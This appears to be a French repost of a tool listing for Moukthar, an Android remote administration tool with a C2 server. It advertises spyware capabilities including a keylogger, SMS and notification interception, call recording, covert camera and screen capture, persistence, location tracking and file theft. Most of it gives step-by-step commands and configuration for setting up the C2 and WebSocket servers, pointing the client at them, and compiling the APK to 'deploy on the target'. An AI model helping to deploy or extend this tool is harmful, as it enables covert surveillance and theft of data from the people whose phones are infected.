moukthar

Moukthar

Outil d'administration à distance pour Android

Démo

Fonctionnalités

• Contournement des autorisations (Android 12 et inférieur)
• Keylogger
• Écouteur de notifications
• Écouteur de SMS
• Enregistrement d'appels téléphoniques
• Capture d'images et captures d'écran
• Enregistrement vidéo
• Persistance
• Lecture et écriture des contacts
• Lister les applications installées
• Téléchargement et envoi de fichiers
• Obtenir la localisation de l'appareil

Installation

• Cloner le dépôt
  root@kitploit:~

  git clone https://github.com/Tomiwa-Ot/moukthar.git
  

• Installer php, composer, mysql, le pilote php-mysql, apache2 et a2enmod
• Déplacer les fichiers serveur vers /var/www/html/ et installer les dépendances
  root@kitploit:~

  mv moukthar/Server/* /var/www/html/
  cd /var/www/html/c2-server
  composer install
  cd /var/www/html/web-socket/
  composer install
  cd /var/www
  chown -R www-data:www-data .
  chmod -R 777 .
  

  Les identifiants par défaut sont nom d'utilisateur : android et mot de passe : android
• Créer un nouvel utilisateur SQL
  root@kitploit:~

  CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password';
  GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost';
  FLUSH PRIVILEGES;
  

• Définir les identifiants de base de données dans c2-server/.env et web-socket/.env
• Exécuter database.sql
• Démarrer le serveur WebSocket ou déployer en tant que service sous Linux
  root@kitploit:~

  php Server/web-socket/App.php
  # OR
  sudo mv Server/websocket.service /etc/systemd/system/
  sudo systemctl daemon-reload
  sudo systemctl enable websocket.service
  sudo systemctl start websocket.service
  

• Modifier /etc/apache2/sites-available/000-default.conf
  root@kitploit:~

  <VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html/c2-server
        DirectoryIndex app.php
        Options -Indexes
  
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
  </VirtualHost>
  
  

• Modifier /etc/apache2/apache2.conf
  root@kitploit:~

    Comment this section
    #<Directory />
    #       Options FollowSymLinks
    #       AllowOverride None
    #       Require all denied
    #</Directory>
  
   Add this
    <Directory /var/www/html/c2-server>
        Options -Indexes
        DirectoryIndex app.php
        AllowOverride All
        Require all granted
    </Directory>
  

• Augmenter la taille maximale de téléchargement de fichiers PHP /etc/php/*.*/apache2/php.ini
  root@kitploit:~

  ; Increase size to permit large file uploads from client
  upload_max_filesize = 128M
  ; Set post_max_size to upload_max_filesize + 1
  post_max_size = 129M
  

• Définir l'adresse du serveur WebSocket dans la balise et c2-server/src/View/features/files.php
  root@kitploit:~

  const ws = new WebSocket('ws://IP_ADDRESS:8080');
  

• Redémarrer Apache en utilisant la commande ci-dessous
  root@kitploit:~

  sudo a2enmod rewrite && sudo service apache2 restart
  

• Définir l'adresse du serveur C2 et du serveur WebSocket dans le client functionality/Utils.java
  root@kitploit:~

  public static final String C2_SERVER = "http://localhost";
  
  public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
  

• Compiler l'APK avec Android Studio et déployer sur la cible

Captures d'écran

À faire

• Défilement automatique des journaux sur le tableau de bord
• La capture d'écran ne fonctionne pas
• La capture d'image/vidéo ne fonctionne pas lorsque l'application n'est pas au premier plan
• Le téléchargement de fichiers dans l'application via DownloadManager ne fonctionne pas
• Le listage des éléments d'un répertoire ne liste pas tous les fichiers/dossiers